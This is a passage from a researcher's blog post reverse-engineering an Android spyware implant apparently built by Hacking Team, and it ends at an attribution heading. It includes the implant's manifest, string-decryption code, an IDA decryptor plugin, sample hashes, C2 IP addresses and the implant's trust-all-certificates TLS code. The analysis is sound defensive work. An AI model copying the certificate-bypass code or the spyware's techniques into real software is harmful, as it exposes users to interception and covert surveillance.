Table of Contents

Soapbox Prelude

The past few years have been interesting in terms of surveillance and nation state purchased malware. Gamma Team (FinFisher) got owned, followed by Hacking Team having all the source code for their implants being posted on GitHub. Just this year, Hacking Team lost their global license to sell spyware. I’m unsure how this really would affect their business. The linked article explains the situation better than I ever could. To quote the article, it means:

Hacking Team will have to apply for an individual [export] license for each country. It will then be up to the Italian authorities to approve or deny any requests.

Maybe someone can shed light on what this actually means? Does that mean that a license must be acquired for the country in which the implant is being deployed or does it mean the license must exist for the country which the buying entity exists? Regardless, it would seem that recently the Hacking Team has had their global license reinstated. So, in theory none of this matters… Or does it?



The export license Hacking Team requires aren’t easy to look up and victims of their implants aren’t coming forward publicly. Do they even know they’re infected? Do they just want to avoid publicly saying they got owned? It’s anyone’s guess.

In this post, we’ll describe what we believe to be active Hacking Team Android implants. We’ll also provide evidence that these implants were being actively developed such as the number of different versions and the incremental advances and changes between them. We hope that this analysis will be helpful to those who might come across it in the wild and that it’ll provide a starting point for the researcher community to piece together the full story of where these implants are being deployed or if Hacking Team’s export licenses are being abused.

Worst case scenario? This’ll be an interesting blog about some spyware that wasn’t too hard to reverse and it ends up being a bit more expensive to operate since all the AVs will detect it in a week or two.

TL;DR Don’t sell spyware even if it’s “regulated”. If you do, make it more fun to reverse next time please. Enough soapboxing, let’s start this post!

-diff

The Story

Caleb and I were recently contacted by someone claiming to have an “advanced malware” sample which had been deployed against one of their coworkers. This type of claim comes up more than you would think. Usually it’s just a very paranoid person who doesn’t know how to use Occam’s razor and has a computer glitch or mysterious reboot and they assume someone must be attacking them. We were understandably skeptical of the claim, so we followed up with a barrage of questions. Interestingly, the more answers we got back, the more it seemed we were dealing with a legitimate threat. At first, our contact thought it was FinFisher because they had looked at this malware family in the past and they looked similar.

Unlike a paranoid delusion, this claim was backed up by actual files for us to analyze! While we cannot release these files due to an agreement with our contact and an ongoing criminal investigation, we have been able to find several similar files in the wild through other public feeds which closely resemble the sample we were provided. The functionality hardly changes between versions and the obfuscation is the same. Since these other samples are already publicly available, we feel comfortable talking about this threat. While I often bash companies for pushing PR and marketing content without sharing binaries, I feel that this is different. I can’t share the specific sample we were given but I do provide nearly identical samples and analysis of the techniques of the original sample. This will easily allow other researchers to reproduce the results, formulate their own blog posts, and most importantly, protect themselves and their customers. Also, since I don’t work for any anti-virus company, I’m not trying to push my product over anyone else’s right now! Hooray somewhat moral high ground! With all this in mind, the analysis is a little tailored since it was done twice. With this visible part on a new binary found in the wild and already available on VT. However, I’ll be taking the same approach I took on the original binary.

Analysis

APK Content

First, let’s look at what’s inside the APK.

Nothing sticking out here. No native binaries to dig into. No hidden packages. No large high-entropy files without an extension floating around. A very vanilla looking Android application.

Signing Certificate

Now, let’s get some information about the signing certificate.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [98%] [email protected] :[fresh] $ keytool -printcert -file contents/META-INF/CERT.RSA Owner: CN=... Issuer: CN=... Serial number: 2367d93d Valid from: Thu Apr 24 07:36:53 PDT 2014 until: Mon Apr 18 07:36:53 PDT 2039 Certificate fingerprints: MD5: 18:F6:4B:26:7E:48:48:B6:AD:DB:26:F7:0E:23:47:0E SHA1: 72:23:C2:41:E0:8D:74:66:AC:99:7D:57:A1:22:3E:97:F4:7B:8C:7D SHA256: B4:5A:4C:71:EC:3E:89:AC:93:7A:1F:66:BB:FC:04:3B:CC:A0:64:B8:60:CE:93:86:E8:02:B9:05:56:E3:BC:47 Signature algorithm name: SHA256withRSA Version: 3 Extensions: #1: ObjectId: 2.5.29.14 Criticality=false SubjectKeyIdentifier [ KeyIdentifier [ 0000: D9 AC 12 E4 E0 ED 19 1B E7 15 A3 6B 7D B1 03 B7 ...........k.... 0010: E6 5B DB 34 .[.4 ] ]

Nothing super interesting in the certificate except the common names (CN) are both ... where as a legitimate developer would use their name or the company’s name or pretty much anything other than an ellipsis. Since every APK must be signed to be installed and most malware authors are lazy, they tend to use the same certificates between versions and even across malware families. You can search for other apps signed by the same certificate with Koodous.

These results show three other applications with the same certificate. This means these apps were likely created by the same person unless their private key was leaked. Sadly, none of them seem to have been analyzed much or voted on by anyone. If we look at the hashes of these files on VirusTotal, we also don’t see anyone talking about them and weak detection ratios which would indicate no one seems to know their significance.

07278c56973d609caa5f9eb2393d9b1eb41964d24e7e9e7a7e7f9fdfb2bb4c31 ( 7 / 54 )

ed33b83be3af715d3fd8ba6ac8b2b551a16697c5a37a9fcebfc40a024cc9b818 ( 21 / 54 )

e362a037e70517565d28ab85959e6c9d231b2baf0c2df3b87dfaa1451278e80c ( 4 / 55 )

87efe6a1cbf4d4481c6fa6e2c70a26a0b50a460557a1ad876af9966a571f8a4c ( 0 / 57)

Android Manifest

When we dig into the Android Manifest, we see standard malware / spyware behavior: ask for absolutely every permission:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 <?xml version="1.0" encoding="utf-8" ?> < manifest xmlns:android = "http://schemas.android.com/apk/res/android" android:versionCode = "15" android:versionName = "15" android:installLocation = "1" package = "it.phonevoda.androidv1" > < uses-sdk android:minSdkVersion = "7" android:targetSdkVersion = "19" /> < supports-screens android:anyDensity = "true" android:smallScreens = "true" android:normalScreens = "true" android:largeScreens = "true" android:resizeable = "true" android:xlargeScreens = "true" /> < uses-feature android:name = "android.hardware.camera" android:required = "false" /> < uses-feature android:name = "android.hardware.camera.any" android:required = "false" /> < uses-feature android:name = "android.hardware.camera.autofocus" android:required = "false" /> < uses-feature android:name = "android.hardware.microphone" android:required = "false" /> < uses-feature android:name = "android.hardware.touchscreen" android:required = "false" /> < uses-feature android:name = "android.hardware.location" android:required = "false" /> < uses-feature android:name = "android.hardware.location.gps" android:required = "false" /> < uses-feature android:name = "android.hardware.location.network" android:required = "false" /> < uses-feature android:name = "android.hardware.telephony" android:required = "false" /> < uses-feature android:name = "android.hardware.telephony.cdma" android:required = "false" /> < uses-feature android:name = "android.hardware.telephony.gsm" android:required = "false" /> < uses-feature android:name = "android.hardware.wifi" android:required = "false" /> < uses-feature android:name = "android.hardware.nfc" android:required = "false" /> < uses-feature android:name = "android.hardware.bluetooth" android:required = "false" /> < uses-permission android:name = "android.permission.WRITE_EXTERNAL_STORAGE" /> < uses-permission android:name = "android.permission.INTERNET" /> < uses-permission android:name = "android.permission.CHANGE_WIFI_STATE" /> < uses-permission android:name = "android.permission.ACCESS_WIFI_STATE" /> < uses-permission android:name = "android.permission.CHANGE_NETWORK_STATE" /> < uses-permission android:name = "android.permission.ACCESS_NETWORK_STATE" /> < uses-permission android:name = "android.permission.READ_PHONE_STATE" /> < uses-permission android:name = "android.permission.MODIFY_PHONE_STATE" /> < uses-permission android:name = "android.permission.UPDATE_DEVICE_STATS" /> < uses-permission android:name = "android.permission.RECORD_AUDIO" /> < uses-permission android:name = "android.permission.CAMERA" /> < uses-permission android:name = "android.permission.ACCESS_FINE_LOCATION" /> < uses-permission android:name = "android.permission.ACCESS_COARSE_LOCATION" /> < uses-permission android:name = "android.permission.ACCESS_LOCATION_EXTRA_COMMANDS" /> < uses-permission android:name = "android.permission.WAKE_LOCK" /> < uses-permission android:name = "android.permission.READ_CALL_LOG" /> < uses-permission android:name = "android.permission.READ_CONTACTS" /> < uses-permission android:name = "android.permission.READ_PHONE_STATE" /> < uses-permission android:name = "android.permission.READ_PROFILE" /> < uses-permission android:name = "android.permission.READ_CALENDAR" /> < uses-permission android:name = "android.permission.READ_LOGS" /> < uses-permission android:name = "android.permission.READ_SMS" /> < uses-permission android:name = "android.permission.SEND_SMS" /> < uses-permission android:name = "android.permission.RECEIVE_SMS" /> < uses-permission android:name = "android.permission.RECEIVE_MMS" /> < uses-permission android:name = "android.permission.RECEIVE_BOOT_COMPLETED" /> < uses-permission android:name = "com.android.launcher.permission.INSTALL_SHORTCUT" /> < uses-permission android:name = "com.android.launcher.permission.UNINSTALL_SHORTCUT" /> < uses-permission android:name = "android.permission.ACCESS_MOCK_LOCATION" /> < uses-permission android:name = "android.permission.AUTHENTICATE_ACCOUNTS" /> < uses-permission android:name = "android.permission.BATTERY_STATS" /> < uses-permission android:name = "android.permission.BLUETOOTH" /> < uses-permission android:name = "android.permission.BLUETOOTH_ADMIN" /> < uses-permission android:name = "android.permission.BROADCAST_STICKY" /> < uses-permission android:name = "android.permission.CHANGE_CONFIGURATION" /> < uses-permission android:name = "android.permission.CHANGE_WIFI_MULTICAST_STATE" /> < uses-permission android:name = "android.permission.GET_ACCOUNTS" /> < uses-permission android:name = "android.permission.GET_PACKAGE_SIZE" /> < uses-permission android:name = "android.permission.GET_TASKS" /> < uses-permission android:name = "android.permission.KILL_BACKGROUND_PROCESSES" /> < uses-permission android:name = "android.permission.MANAGE_ACCOUNTS" /> < uses-permission android:name = "android.permission.MODIFY_AUDIO_SETTINGS" /> < uses-permission android:name = "android.permission.NFC" /> < uses-permission android:name = "android.permission.PERSISTENT_ACTIVITY" /> < uses-permission android:name = "android.permission.READ_CALENDAR" /> < uses-permission android:name = "android.permission.READ_SOCIAL_STREAM" /> < uses-permission android:name = "android.permission.READ_SYNC_SETTINGS" /> < uses-permission android:name = "android.permission.READ_SYNC_STATS" /> < uses-permission android:name = "android.permission.READ_USER_DICTIONARY" /> < uses-permission android:name = "com.android.browser.permission.READ_HISTORY_BOOKMARKS" /> < uses-permission android:name = "android.permission.RESTART_PACKAGES" /> < uses-permission android:name = "android.permission.SET_ALWAYS_FINISH" /> < uses-permission android:name = "android.permission.SUBSCRIBED_FEEDS_READ" /> < uses-permission android:name = "android.permission.SET_ANIMATION_SCALE" /> < uses-permission android:name = "android.permission.SET_PROCESS_LIMIT" /> < uses-permission android:name = "android.permission.SET_WALLPAPER" /> < uses-permission android:name = "android.permission.SET_WALLPAPER_HINTS" /> < uses-permission android:name = "android.permission.SIGNAL_PERSISTENT_PROCESSES" /> < uses-permission android:name = "android.permission.USE_CREDENTIALS" /> < uses-permission android:name = "android.permission.USE_SIP" /> < uses-permission android:name = "android.permission.WRITE_CALL_LOG" /> < uses-permission android:name = "android.permission.WRITE_SMS" /> < uses-permission android:name = "android.permission.WRITE_CALENDAR" /> < uses-permission android:name = "android.permission.WRITE_CONTACTS" /> < uses-permission android:name = "android.permission.WRITE_PROFILE" /> < uses-permission android:name = "android.permission.WRITE_SETTINGS" /> < uses-permission android:name = "android.permission.WRITE_SOCIAL_STREAM" /> < uses-permission android:name = "android.permission.WRITE_SYNC_SETTINGS" /> < uses-permission android:name = "android.permission.WRITE_USER_DICTIONARY" /> < uses-permission android:name = "android.permission.SYSTEM_ALERT_WINDOW" /> < uses-permission android:name = "android.permission.PROCESS_OUTGOING_CALLS" /> < uses-permission android:name = "android.permission.BROADCAST_SMS" /> < uses-permission android:name = "android.permission.BROADCAST_WAP_PUSH" /> < application android:theme = "@android:0103000C" android:label = "Vodafone APN" android:icon = "@7F020000" android:allowBackup = "true" > < service android:label = "Phone Service" android:name = "com.google.android.MainService" android:exported = "false" /> < service android:label = "System Service" android:name = "com.package._p" android:exported = "false" /> < receiver android:name = "com.google.android.Autostart" > < intent-filter > < action android:name = "android.intent.action.BOOT_COMPLETED" /> </ intent-filter > </ receiver > < receiver android:name = "com.google.android.PackageChangeReceiver" > < intent-filter > < action android:name = "android.intent.action.PACKAGE_ADDED" /> < action android:name = "android.intent.action.PACKAGE_REPLACED" /> < action android:name = "android.intent.action.PACKAGE_REMOVED" /> < data android:scheme = "package" /> </ intent-filter > </ receiver > < activity android:theme = "@android:01030011" android:label = "Aggiornamento Android" android:name = "com.google.android.system.MainActivity" > < intent-filter > < action android:name = "android.intent.action.MAIN" /> < category android:name = "android.intent.category.LAUNCHER" /> </ intent-filter > </ activity > < activity android:theme = "@android:01030011" android:label = "RecActivity" android:name = "com.google.android.system.RecActivity" /> < activity android:theme = "@android:01030011" android:label = "SupportActivity" android:name = "com.google.android.system.SupportActivity" /> </ application > </ manifest >

There are a few tidbits from the manifest which strike me as interesting right away, other than the inordinate amount of permissions being requested. First, the package name it.phonevoda.androidv1 seems interesting as many legitimate apps start with the default com. prefix. Honestly, this could be nothing or it could be attempting to look like a something to do with Vodaphone Italy. I’ve never personally seen anything from an Italian specific phone. However the structure doesn’t ring any bells.

It’s also interesting to note that the package name does not match the class paths of the activities, services and receivers do not match up with this package name. For example, there is a service with the namespace com.google.android.MainService which sounds like it’s trying too hard to look like an official package Android package. Another service has the namespace com.package._p and is just simple a System Service . The MainActivity is com.google.android.system.MainActivity but is also labeled Aggiornamento Android which is Italian for Updating Android . Sounds legit.

To sum it up, we have an app requesting almost every permission possible, claims to be an Android update, and purports to have something to do with Vodaphone APNs. These all seem… Normal, right? Yea, not really…

String Encryption

Throwing the DEX file into IDA Pro and looking at a MainService.onCreate() , we immediately see something somewhat interesting;

This clearly shows an encrypted / obfuscated string. Looking at the Strings tab, we see many more obfuscated strings.

As we back out to onCreate() , we can see that the string decryption method is likely String com.google.gson.JsonNull.startsWith(String, int) . Oh, that is cute. They’re attempting to hide their method signatures in plain sight by giving them legitimate looking names. Maybe this is to avoid “easy” signatures since a signature on this method name may false positive? Or maybe this is just a simple attempt to make a reverser’s life a bit harder.

The decryption method itself is actually quite easy to reverse:

It’s just a a modified XOR cipher with a modifier being passed in as an argument. Translated to Python:

xor.py 1 2 3 4 5 6 7 8 9 10 11 def decrypt (encrypted, mod) : if not encrypted or not mod: return '' mod = mod - 0x5 out = '' for char in list(encrypted): out = '%s%s' % (out, unichr(ord(char) ^ (mod & 0x5F ))) mod = (mod - 0xB ) return out.encode( 'ascii' , 'replace' ).encode( 'UTF-32' )

Decrypting Strings with IDA

I wanted to dump all of decrypted strings to a file and also inline them as comments where they were being used. The decryptor.py IDA plugin below works by looking in the Dalvik code for the opcodes const-string paired with const/16 to get the encrypted string and XOR cipher mod argument. Then, it looks for the invoke-static opcode with the method JsonNull.startsWith() . If this pattern is matched we can pass the arguments into our reversed decryption method to get the decrypted string. Finally, this string is added as a comment near the encrypted string. The processes reuses some of the code for adding load strings for Go files described in a previous blog post.

It turned out there was more than just the JsonNull.startsWith() decryption method. I saw the literal values of -0x5 and -0xB change between the decryption methods. To support these other methods, I moved these out of the code and into the mod1 and mod2 arguments.

Please note that the way this code loads strings from the string table is annoying. After messaging IDA support about why it was so difficult, they informed me that there was a better way. Apparently, I should have used the DecodeInstruction function. I’ll likely try to rework this code later to use this.

After a bit of movie magic, we end up with the code below.

decryptor.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 """decryptor.py: Automate some types of Dalvik string decryption.""" __author__ = "Tim 'diff' Strazzere" __copyright__ = "Copyright 2016, Red Naga" __license__ = "GPL" __version__ = "1.0" [email protected]" __email__ = [ from idautils import * from idc import * import idaapi import sys import string DEBUG = False def info (formatted_string) : print formatted_string def error (formatted_string) : print 'ERROR - %s' % formatted_string def debug (formatted_string) : if DEBUG: print 'DEBUG - %s' % formatted_string def readShort (addr) : return (GetOriginalByte(addr + 0x1 ) << 0x8 ) + GetOriginalByte(addr) def readInt (addr) : return (GetOriginalByte(addr + 0x3 ) << 0x18 ) + (GetOriginalByte(addr + 0x2 ) << 0x10 ) + (GetOriginalByte(addr + 0x1 ) << 0x8 ) + GetOriginalByte(addr) def getStringFromAddr (addr) : length = GetOriginalByte(addr) string = '' for i in range( 1 , length + 1 ): string = '%s%c' % (string, unichr(GetOriginalByte(addr + i))) return string def getString (addr) : string_id = readShort(addr + 0x2 ) string_ids = ida_segment.get_segm_by_name( 'STR_IDS' ) string_addr = readInt(string_ids.startEA + (string_id * 4 )) return getStringFromAddr(string_addr) def generic_decrypt (encrypted, mod, static_xor, mod_add_1, mod_add_2) : if not encrypted or not mod: return '' mod = mod + mod_add_1 out = '' for char in list(encrypted): out = '%s%s' % (out, unichr(ord(char) ^ (mod & static_xor))) mod = (mod + mod_add_2) return out.encode( 'ascii' , 'replace' ) cryptions = [ [ 'Gson.equals(ref, int)' , 0x5F , -0xC , 0x3 ], [ 'g9.concat(int, ref)' , 0x5F , 0xB , -0xB ], [ 'Autostart.regionMatches(int, ref)' , 0x5F , 0xE , -0xB ], [ 'f.replace(ref, int)' , 0x5F , 0xD , 0xB ], [ 'h.equals(ref, int)' , 0x5F , 0xC , 0x9 ], [ 'a.toString(int, ref)' , 0x5F , -0xB , -0x1 ], [ 'Gson.getChars(ref, int)' , 0x5F , 0x7 , 0xD ], [ 'JsonNull.split(int, ref)' , 0x5F , 0x8 , 0xF ], [ 'JsonNull.concat(int, ref)' , 0x5F , -0x7 , 0x9 ], [ 'Gson.indexOf(ref, int)' , 0x5F , 0x3 , -0xD ], [ 'li.valueOf(int, ref)' , 0x5F , 0xF , -0x1 ], [ 'Gson.concat(ref, int)' , 0x5f , -0x1 , 0x1 ], [ 'JsonNull.startsWith(int, ref)' , 0x5F , -0x5 , -0xB ], ] cryptions_3arg = [ [ 'e.getChars(ref, int, int)' , 0x5F , -0xF ], ] def is_encrypted (addr) : if GetMnem(addr) == 'const-string' : addr_2 = FindCode(addr, SEARCH_DOWN) if 'const/' in GetMnem(addr_2): addr_3 = FindCode(addr_2, SEARCH_DOWN) if GetMnem(addr_3) == 'invoke-static' : for (func, xor, mod1, mod2) in cryptions: if func in GetOpnd(addr_3, 2 ): debug( ' %s in %s ' % (func, GetOpnd(addr_3, 2 ))) loaded_string = getString(addr) modifier = int(GetOpnd(addr_2, 1 ), 0 ) info( '0x%x : %s : %s' % (addr, loaded_string, generic_decrypt(loaded_string, modifier, xor, mod1, mod2))) MakeComm(addr, generic_decrypt(loaded_string, modifier, xor, mod1, mod2)) return True elif 'const/' in GetMnem(addr_3): addr_4 = FindCode(addr_3, SEARCH_DOWN) if GetMnem(addr_4) == 'invoke-static' : for (func, xor, mod1) in cryptions_3arg: if func in GetOpnd(addr_4, 3 ): debug( ' %s in %s ' % (func, GetOpnd(addr_4, 3 ))) loaded_string = getString(addr) modifier = int(GetOpnd(addr_2, 1 ), 0 ) mod2 = int(GetOpnd(addr_3, 1 ), 0 ) info( '0x%x : %s : %s' % (addr, loaded_string, generic_decrypt(loaded_string, modifier, xor, mod1, mod2))) MakeComm(addr, generic_decrypt(loaded_string, modifier, xor, mod1, mod2)) return True elif 'const/' in GetMnem(addr): addr_2 = FindCode(addr, SEARCH_DOWN) if GetMnem(addr_2) == 'const-string' : addr_3 = FindCode(addr_2, SEARCH_DOWN) if GetMnem(addr_3) == 'invoke-static' : for (func, xor, mod1, mod2) in cryptions: if func in GetOpnd(addr_3, 2 ): debug( ' %s in %s ' % (func, GetOpnd(addr_3, 2 ))) modifier = int(GetOpnd(addr, 1 ), 0 ) loaded_string = getString(addr_2) info( '0x%x : %s : %s' % (addr, loaded_string, generic_decrypt(loaded_string, modifier, xor, mod1, mod2))) MakeComm(addr, ( '%s' % generic_decrypt(loaded_string, modifier, xor, mod1, mod2))) return True return False def main () : strings_added = 0 code_seg = ida_segment.get_segm_by_name( 'CODE' ) for addr in Functions(code_seg.startEA, code_seg.endEA): name = GetFunctionName(addr) end_addr = Chunks(addr).next()[ 1 ] if (end_addr < addr): error( 'Unable to find good end for the function %s' % name) pass debug( 'Found function %s starting/ending @ 0x%x 0x%x' % (name, addr, end_addr)) while addr <= end_addr: if is_encrypted(addr): strings_added += 1 addr = FindCode(FindCode(FindCode(addr, SEARCH_DOWN), SEARCH_DOWN), SEARCH_DOWN) else : addr = FindCode(addr, SEARCH_DOWN) info( '%d strings decrypted' % strings_added) if __name__ == "__main__" : info( 'Dalvik Decryptor loaded...' ) main()

After running this, we can see that we have comments for all the decrypted strings. Awesome!

After creating this code, Caleb also informed me that Simplify would also have worked. So many different ways to skin a cat!

Features Overview

After decrypting the strings, the rest of the behavior is easy to follow. The class names and most of the interesting method names are not obfuscated. We can see that this implant has the normal abilities of most spyware:

Automatically remove itself from the launcher after the first execution

Kick start it’s own MainService and set an alarm to keep it persistent

and set an alarm to keep it persistent Stop processing commands from the C2 or doing work if the user is present

Mute all audio on the device

Turn GPS on or off

Query internal phone URIs for data and write to external media for later exfiltration

Create screen shots or record the screen

Record video and audio

Respond to specifically configured SMS numbers that include 873451679TRW68IO and reply or forward messages with device information

and reply or forward messages with device information Execute code (“actions”) from downloaded .dex files (mainly for rooting different devices)

Data Exfiltration

When data is exfiltrated, it’s serialized in an encrypted form to %SDCARD%/Android/data/__android.data . Naturally, I wanted to actually know what data were being exfiltrated. So I started to dig into the app’s decrypted strings to try and figure out what data were being exfiltrated and what the C2s were. Because all the strings had previously been dumped to one file, it was easy to look for domains, IP addresses, or just http: or https: .

1 2 3 4 5 6 7 8 9 10 11 Dalvik Decryptor loaded... 0x148f4 : alarm 0x149b6 : android.intent.action.MAIN 0x14a00 : android.intent.extra.shortcut.INTENT 0x14a16 : android.intent.extra.shortcut.NAME 0x14a26 : Servizi Google ... *** snip! *** ... 0x47c08 : invalid end of central directory record 997 strings decrypted

I’ve snipped the output here for brevity. The full output is in the Appendiex for easy indexing of search engines. Some of the strings are unique across binaries and this may help people in the future.

While skimming the strings, it’s immediately interesting that there appear to be Italian phrases such as Servizi Google ( Google Service ) and Aggiornamento effettuato con successo ( Successful Update ). These strings are actually shown to the user and must be part of the app’s cover.

Looking at the strings shows two servers to dig into:

These are interesting as they are not using domains which could mean a few things. One is that these people are lazy. Another possibility is that they’re purposefully avoiding DNS to avoid getting detected by anyone smart enough to use passive DNS searching. Everyone in the information security space knows DNS is the (old) new hotness and maybe they realize this. Without telling a friend what exactly I was investigating, I shared these IP addresses. They plugged them into whatever information feeds they had and something popped up. Oh hey, these appear to be previously used HackingTeam C2s!

1 2 3 4 5 6 7 8 9 68.233.232.104 Results First seen: 2015-06-28 01:14:56 Last seen: 2015-06-28 01:14:56 Country: US Network: 68.233.224.0/19 AS Number: 29802 AS Name: HVC-AS - HIVELOCITY VENTURES CORP Resolutions => 68-233-232-104.static.hvvc.us 2015-06-28 01:14:56 2015-06-28 01:14:56

Reference: https://github.com/passivetotal/HT_infra/blob/master/68.233.232.104.passivetotal.pdns

1 2 3 4 5 6 7 8 9 68.233.232.147 Results First seen: 2015-02-22 00:00:00 Last seen: 2015-07-03 00:54:48 Country: US Network: 68.233.224.0/19 AS Number: 29802 AS Name: HVC-AS - HIVELOCITY VENTURES CORP Resolutions => lovecars.com 2015-02-22 00:00:00 2015-07-03 00:54:48

Reference: https://github.com/passivetotal/HT_infra/blob/master/68.233.232.147.passivetotal.pdns

Granted, this could be a coincidence or a false flag of sorts and it’s hard to say for sure. But the 68.233.237.11 IP address is using an Italian SSS certificate which can be used to find other connections in passive datasets. I’ll just leave this here:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 [100%] [email protected] :[contents] $ openssl s_client -connect 68.233.237.11:443 -showcerts CONNECTED(00000003) depth=0 C = IT, ST = Italy, L = Naplase, O = Raxir, OU = IT Department, CN = ws.com verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 C = IT, ST = Italy, L = Naplase, O = Raxir, OU = IT Department, CN = ws.com verify error:num=27:certificate not trusted verify return:1 depth=0 C = IT, ST = Italy, L = Naplase, O = Raxir, OU = IT Department, CN = ws.com verify error:num=21:unable to verify the first certificate verify return:1 --- Certificate chain 0 s:/C=IT/ST=Italy/L=Naplase/O=Raxir/OU=IT Department/CN=ws.com i:/C=IT/ST=Italy/L=Naplase/O=Raxir/OU=IT Department/CN=console_raxir.com -----BEGIN CERTIFICATE----- MIICzjCCAjcCAQUwDQYJKoZIhvcNAQEFBQAwczELMAkGA1UEBhMCSVQxDjAMBgNV BAgMBUl0YWx5MRAwDgYDVQQHDAdOYXBsYXNlMQ4wDAYDVQQKDAVSYXhpcjEWMBQG A1UECwwNSVQgRGVwYXJ0bWVudDEaMBgGA1UEAwwRY29uc29sZV9yYXhpci5jb20w HhcNMTUwMzA1MTM0ODA2WhcNMjUwMzAyMTM0ODA2WjBoMQswCQYDVQQGEwJJVDEO MAwGA1UECAwFSXRhbHkxEDAOBgNVBAcMB05hcGxhc2UxDjAMBgNVBAoMBVJheGly MRYwFAYDVQQLDA1JVCBEZXBhcnRtZW50MQ8wDQYDVQQDDAZ3cy5jb20wggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDUJJ0smTdd7t01/SnafdgDnOWGqBsJ COwPsbvbtWjqwiGPBLI96D+rpLwhg3tfioIvzN85yk5wolmPM05n2QqtCBCRbhha vJgkjGpT5dP1PtnlPDwRcoXMX4uEkRQT8ardTVbbd9yd1IFo7BNzAXohNplALCxB zmyc2E7cWkoQf7pwNWLUFHA59/YuUpNBuPIZ2DEnU6aOiNsAzbdS6/t7+GhHFCsD dD9PHeLqYKg56VtrmSiEsO1+/rFuj0xEIK1NGJo3FEeWBUCsmkzYs9K/GfBVTR/v UiHksnns7b8dxgsAFJOo9tdN/fReD47CTdl2RL99zAFpf6kk6HqGykMhAgMBAAEw DQYJKoZIhvcNAQEFBQADgYEASCG8OyP1K0WxnJbM559UkCfbWbz/UpXSfTm01wZo IOYpchTB5X1Yw2P78f4Zq2mc0nM190jZKbs8zyjSD5WX3+itygGg1nqPPhNJ2yeQ DgoLOA7XuRoigqiCeK5Dc2ih2ycp+ZiJ7lak8HoH65+pMQilHpyR9qsnYxXWQt9D EIk= -----END CERTIFICATE----- --- Server certificate subject=/C=IT/ST=Italy/L=Naplase/O=Raxir/OU=IT Department/CN=ws.com issuer=/C=IT/ST=Italy/L=Naplase/O=Raxir/OU=IT Department/CN=console_raxir.com --- No client certificate CA names sent --- SSL handshake has read 1294 bytes and written 509 bytes --- New, TLSv1/SSLv3, Cipher is ECDHE-RSA-DES-CBC3-SHA Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session: Protocol : TLSv1.2 Cipher : ECDHE-RSA-DES-CBC3-SHA Session-ID: 58228216995B968253FD721FDD6C04C0E0327DF8AD823D413B95674DE72BA0F0 Session-ID-ctx: Master-Key: BD52BB92248C75A7BF9425B94E095357B63AE52BAAF221E7BEADEABF4A0AD971B09F957CD382A6F275B4AE2FD5DF49FD Key-Arg : None PSK identity: None PSK identity hint: None SRP username: None Start Time: 1478656438 Timeout : 300 (sec) Verify return code: 21 (unable to verify the first certificate) --- cb681d2c435199e1aead320645324060732464b9 C=IT, ST=Italy, L=Naplase, O=Raxir, OU=IT Department, CN=ws.com

Weak SSL Configuration

The last thing I wanted to do was to understand what the traffic actually looked like even though it’s going through SSL/TLS. My original thought was that performing a man-in-the-middle would require getting a device and installing a certificate or bypassing certificate pinning to allow Burp to intercept traffic. This turned out not to be the case. In fact, there is a “vulnerability” in this implant or maybe they are just lazy. If we dig into their custom SSL handling code (which is seemingly labeled as normal Android code) in com.google.android.common.HttpUtils.allowAllSSL() we see rather boiler plate code for disabling SSL certificate checking.

Wait. What?

Why are they transporting information over SSL but explicitly not checking certificates? Here is the hand-decompiled pseudo-Java for allowAllSSL() :

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static void com.google.android.common.HttpUtils.allowAllSSL() { HttpsURLConnection.setDefaultHostnameVerifier( new HostnameVerifier() { public boolean verify (String hostname, SSLSession session) { return true ; } }); TrustManager[] trustAllCerts = new TrustManager[]{ new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null ; } public void checkClientTrusted (.X509Certificate[] certs, String authType) { } public void checkServerTrusted (X509Certificate[] certs, String authType) { } } }; try { SSLContext sslcontext = SSLContext.getInstance( "TLS" ); sslcontext.init( null , trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sslcontext.getSocketFactory()); } catch (NoSuchAlgorithmException e) { Logger.WriteErrorLog( "allowAllSSL" , e.toString); } catch (KeyManagementException e) { Logger.WriteErrorLog( "allowAllSSL" , e.toString); } }

The code is similar to the StackOverflow questions asking how to access untrusted certificates for SSL HTTPS connections. No big deal. It’s not like this type of implant would ever be deployed to gather sensitive information, right? (hint: sarcasm) Technically this code does allow them to trust a self signed certificate or previously untrusted out, though it just let the application accept any certificate. This means we don’t have to do anything special for man in the middling; just literally be in the middle. So just fire up Burp, or whatever, and start an interceptor grab a .pcap and look at the heartbeats going to the server:

From this point, it’s relatively easy to watch the traffic. There really isn’t much going on outside of the run-of-the-mill, boring, commercial spyware junk. The secret sauce is likely found after talking to the C2 server and getting the extra payloads. This would appear to be where exploits are being delivered, however it would seem these are set up and configured on the back end. Sadly I was unable to coerce the back end to give me anything worth analyzing. Since the pcap would all be encrypted, captured POSTs to and from the server have been added to the Appendix.

Is it HackingTeam?

